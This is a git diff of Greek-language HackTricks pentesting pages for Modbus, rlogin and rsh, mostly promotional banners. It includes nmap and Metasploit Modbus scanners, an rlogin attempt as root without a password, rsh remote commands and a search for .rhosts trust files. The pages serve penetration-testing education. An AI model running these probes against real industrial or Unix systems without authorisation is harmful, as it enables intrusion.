Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,63 +1,45 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
Το **Πρωτόκολλο Modbus** αναπτύχθηκε από την Modicon το 1979, λειτουργώντας ως δομή μηνυμάτων. Η κύρια χρήση του περιλαμβάνει τη διευκόλυνση της επικοινωνίας μεταξύ έξυπνων συσκευών, λειτουργώντας υπό το μοντέλο master-slave/client-server. Αυτό το πρωτόκολλο παίζει έναν κρίσιμο ρόλο στη δυνατότητα των συσκευών να ανταλλάσσουν δεδομένα αποτελεσματικά.
Το 1979, το **Πρωτόκολλο Modbus** αναπτύχθηκε από την Modicon, λειτουργώντας ως δομή μηνυμάτων. Η κύρια χρήση του περιλαμβάνει την διευκόλυνση της επικοινωνίας μεταξύ έξυπνων συσκευών, που λειτουργούν υπό ένα μοντέλο master-slave/client-server. Αυτό το πρωτόκολλο παίζει κρίσιμο ρόλο στην αποτελεσματική ανταλλαγή δεδομένων μεταξύ συσκευών.
**Προεπιλεγμένη θύρα:** 502
```
PORT STATE SERVICE
502/tcp open modbus
```
# Απαρίθμηση
## Modbus Enumeration
### Modbus TCP Enumeration
Η απαρίθμηση του πρωτοκόλλου Modbus TCP μπορεί να γίνει με διάφορους τρόπους. Ορισμένες από τις τεχνικές που μπορούν να χρησιμοποιηθούν περιλαμβάνουν:
- **Σάρωση θυρών**: Η σάρωση θυρών μπορεί να χρησιμοποιηθεί για να εντοπιστούν συσκευές Modbus TCP που ακούνε σε συγκεκριμένες θύρες, όπως η προεπιλεγμένη θύρα 502.
- **Ανάλυση πακέτων**: Η ανάλυση πακέτων μπορεί να χρησιμοποιηθεί για να εξεταστούν τα πακέτα που ανταλλάσσονται μεταξύ του πελάτη και του διακομιστή Modbus TCP. Αυτό μπορεί να αποκαλύψει πληροφορίες όπως οι διευθύνσεις IP και MAC των συσκευών Modbus TCP.
- **Ανάλυση πρωτοκόλλου**: Η ανάλυση του πρωτοκόλλου Modbus TCP μπορεί να αποκαλύψει πληροφορίες για τις λειτουργίες και τις δυνατότητες του διακομιστή Modbus TCP. Αυτό μπορεί να βοηθήσει στην κατανόηση του περιβάλλοντος Modbus TCP και στην εντοπισμό πιθανών ευπάθειών.
### Modbus RTU Enumeration
Η απαρίθμηση του πρωτοκόλλου Modbus RTU μπορεί να γίνει με διάφορους τρόπους. Ορισμένες από τις τεχνικές που μπορούν να χρησιμοποιηθούν περιλαμβάνουν:
- **Ανάλυση πακέτων**: Η ανάλυση πακέτων μπορεί να χρησιμοποιηθεί για να εξεταστούν τα πακέτα που ανταλλάσσονται μεταξύ του πελάτη και του διακομιστή Modbus RTU. Αυτό μπορεί να αποκαλύψει πληροφορίες όπως οι διευθύνσεις των συσκευών Modbus RTU και οι τύποι των πακέτων που χρησιμοποιούνται.
- **Ανάλυση πρωτοκόλλου**: Η ανάλυση του πρωτοκόλλου Modbus RTU μπορεί να αποκαλύψει πληροφορίες για τις λειτουργίες και τις δυνατότητες του διακομιστή Modbus RTU. Αυτό μπορεί να βοηθήσει στην κατανόηση του περιβάλλοντος Modbus RTU και στην εντοπισμό πιθανών ευπάθειών.
# Αριθμητική
```bash
nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
# 513 - Ελεγχος Πενετραρίσματος Rlogin
# 513 - Pentesting Rlogin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
## Basic Information
Στο παρελθόν, το **rlogin** χρησιμοποιήθηκε ευρέως για εργασίες απομακρυσμένης διαχείρισης. Ωστόσο, λόγω ανησυχιών σχετικά με την ασφάλειά του, έχει κυρίως αντικατασταθεί από **slogin** και **ssh**. Αυτές οι νεότερες μέθοδοι παρέχουν βελτιωμένη ασφάλεια για απομακρυσμένες συνδέσεις.
Στο παρελθόν, **rlogin** χρησιμοποιούνταν ευρέως για απομακρυσμένες εργασίες διαχείρισης. Ωστόσο, λόγω ανησυχιών σχετικά με την ασφάλειά του, έχει σε μεγάλο βαθμό αντικατασταθεί από **slogin** και **ssh**. Αυτές οι νεότερες μέθοδοι παρέχουν βελτιωμένη ασφάλεια για απομακρυσμένες συνδέσεις.
**Προεπιλεγμένη θύρα:** 513
**Default port:** 513
```
PORT STATE SERVICE
513/tcp open login
@ -33,13 +34,13 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να δοκιμάσετε να **συνδεθείτε** σε ένα απομακρυσμένο υπολογιστή όπου **δεν απαιτείται κωδικός πρόσβασης**. Δοκιμάστε να χρησιμοποιήσετε το **root** ως όνομα χρήστη:
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να προσπαθήσετε να **συνδεθείτε** σε έναν απομακρυσμένο υπολογιστή όπου **δεν απαιτείται κωδικός πρόσβασης** για πρόσβαση. Δοκιμάστε να χρησιμοποιήσετε **root** ως όνομα χρήστη:
```bash
rlogin <IP> -l <username>
```
### [Χαμηλής ισχύος επίθεση](../γενικές-μεθοδολογίες-και-πόροι/χαμηλή-ισχύος.md#rlogin)
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
## Εύρεση αρχείων
## Βρείτε αρχεία
```
find / -name .rhosts
```
@ -48,16 +49,17 @@ find / -name .rhosts
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,51 @@
# 514 - Ελέγχος ασφάλειας Rsh
# 514 - Pentesting Rsh
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Για την αυθεντικοποίηση, οι αρχεία **.rhosts** μαζί με το **/etc/hosts.equiv** χρησιμοποιούνταν από το **Rsh**. Η αυθεντικοποίηση εξαρτιόταν από τις διευθύνσεις IP και το Domain Name System (DNS). Η ευκολία πλαστογράφησης των διευθύνσεων IP, ιδιαίτερα στο τοπικό δίκτυο, ήταν μια σημαντική ευπάθεια.
Για την αυθεντικοποίηση, χρησιμοποιήθηκαν τα αρχεία **.rhosts** μαζί με το **/etc/hosts.equiv** από το **Rsh**. Η αυθεντικοποίηση εξαρτάτο από τις διευθύνσεις IP και το Σύστημα Ονομάτων Τομέα (DNS). Η ευκολία παραποίησης διευθύνσεων IP, ιδίως στο τοπικό δίκτυο, ήταν μια σημαντική ευπάθεια.
Επιπλέον, ήταν συνηθισμένο τα αρχεία **.rhosts** να τοποθετούνται στους καταλόγους home των χρηστών, οι οποίοι συχνά βρίσκονταν σε τόμους του Network File System (NFS).
Επιπλέον, ήταν κοινό τα αρχεία **.rhosts** να τοποθετούνται στους καταλόγους των χρηστών, οι οποίοι συχνά βρίσκονταν σε όγκους του Δικτύου Αρχείων (NFS).
**Προεπιλεγμένη θύρα**: 514
**Default port**: 514
## Σύνδεση
## Login
```
rsh <IP> <Command>
rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command>
```
### [**Βίαιη Δύναμη**](../generic-methodologies-and-resources/brute-force.md#rsh)
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
## Αναφορές
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}